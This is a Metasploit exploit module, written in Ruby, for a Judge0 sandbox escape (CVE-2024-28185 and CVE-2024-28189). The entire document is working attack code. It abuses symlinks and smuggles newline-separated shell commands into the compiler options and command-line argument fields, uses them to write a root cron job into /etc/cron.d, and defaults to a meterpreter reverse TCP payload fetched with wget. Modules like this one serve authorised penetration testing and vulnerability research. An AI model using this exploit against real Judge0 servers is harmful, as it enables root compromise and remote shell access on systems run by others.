Judge0 Sandbox Escape

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Judge0 sandbox escape',  
'Description' => %q{  
Judge0 does not account for symlinks placed inside the sandbox directory,  
which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox.  
},  
'Author' => [  
'Tanto Security', # Vulnerability discovery  
'Takahiro Yokoyama' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2024-28185'],  
['CVE', '2024-28189'],  
['URL', 'https://tantosec.com/blog/judge0/'],  
],  
'Payload' => {  
'DisableNops' => true,  
# https://github.com/judge0/judge0/blob/ad66f77b131dbbebf2b9ff8083dca9a68680b3e5/app/jobs/isolate_job.rb#L199  
'BadChars' => '$&;<>|`'  
},  
'DefaultOptions' => {  
'FETCH_DELETE' => false,  
'WfsDelay' => 75  
},  
'Platform' => %w[linux],  
'Targets' => [  
[  
'Linux Command', {  
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',  
'FETCH_COMMAND' => 'WGET'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-03-04',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(2358),  
]  
)  
end  
  
def compile_language_ids  
@languages = []  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'languages')  
})  
return unless res&.code == 200  
  
languages = JSON.parse(res.body)  
bash = languages.detect { |row| row['name'].include?('Bash') }  
return unless bash  
  
@bash_id = bash['id']  
  
languages.each do |language|  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "languages/#{language['id']}")  
})  
lang_info = JSON.parse(res.body)  
@languages << language if res&.code == 200 && lang_info['compile_cmd'] && !lang_info['is_archived']  
end  
return if @languages.empty?  
  
@languages  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'version')  
})  
return Exploit::CheckCode::Unknown unless res&.code == 200  
  
version = Rex::Version.new(res.body)  
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable") unless version <= Rex::Version.new('1.13.0')  
  
print_status("Version #{version} detected, which is vulnerable")  
  
return Exploit::CheckCode::Appears if compile_language_ids  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
# Setting the `FETCH_DELETE` option seems to break the payload execution.  
# `register_files_for_cleanup` will be used later to cleanup.  
fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']  
execute_command(payload.encoded)  
end  
  
def execute_command(cmd, _opts = {})  
compile_language_ids if @languages.nil?  
  
if @languages.empty? && !datastore['ForceExploit']  
fail_with(Failure::Unknown, 'Failed to get compile language ids')  
end  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'),  
'vars_post' => {  
'source_code' => 'mv run runbak; ln -s /bin/rm run',  
# if cannot get bash id but set ForceExploit to true, use 46  
'language_id' => @bash_id || 46 # Bash  
}  
})  
  
cron_path = '/etc/cron.d/' + rand_text_alpha(8)  
print_status("Writing cron job to #{cron_path}")  
# use random compile language ids  
# if cannot get compile language ids but set ForceExploit to true, use 73 (Rust)  
language = [email protected]? ? @languages.sample : { id: 73, name: 'Rust' }  
print_status("Use language: #{language['id']}, #{language['name']}")  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'),  
'vars_post' => {  
'source_code' => "#test #{rand_text_alphanumeric(5..10)}",  
'language_id' => language['id'],  
'compiler_options' => "--version\nln -s /bin/rm ./run\n#",  
'command_line_arguments' => "x\n"\  
"cp /bin/rm #{cron_path}\n"\  
"cp /usr/bin/unlink /bin/rm\n"\  
"sed -i 's/.*/#/g' #{cron_path}\n"\  
"sed -i \"2i #{cron_file(cmd)}\" #{cron_path}\n"\  
"echo 'ok'\n" # not used  
}  
})  
register_files_for_cleanup(cron_path, "/root/#{datastore['FETCH_FILENAME']}")  
end  
  
def cron_file(command)  
cron_file = 'SHELL=/bin/sh'  
cron_file << '\\n'  
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'  
cron_file << '\\n'  
cron_file << "* * * * * root #{command}"  
cron_file << '\\n'  
  
cron_file  
end  
  
end  
`